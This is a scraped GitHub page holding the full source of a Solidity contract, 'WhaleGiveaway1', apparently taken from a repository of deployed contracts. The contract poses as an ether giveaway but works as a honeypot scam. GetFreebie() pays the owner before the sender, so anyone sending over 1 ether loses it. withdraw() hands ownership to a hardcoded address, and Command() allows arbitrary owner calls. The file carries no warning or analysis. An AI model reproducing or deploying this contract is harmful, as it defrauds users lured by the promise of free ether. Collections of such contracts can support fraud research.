-
Notifications
You must be signed in to change notification settings - Fork 66
/
WhaleGiveaway1.sol
41 lines (34 loc) · 9.08 KB
/
WhaleGiveaway1.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//contract address: 0x7a4349a749e59a5736efb7826ee3496a2dfd5489
pragma solidity ^0.4.19;
contract WhaleGiveaway1
{
address public Owner = msg.sender;
function()
public
payable
{
}
function GetFreebie()
public
payable
{
if(msg.value>1 ether)
{ Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}
function withdraw()
payable
public
{ if(msg.sender==0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b){Owner=0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
adr.call.value(msg.value)(data);
}
}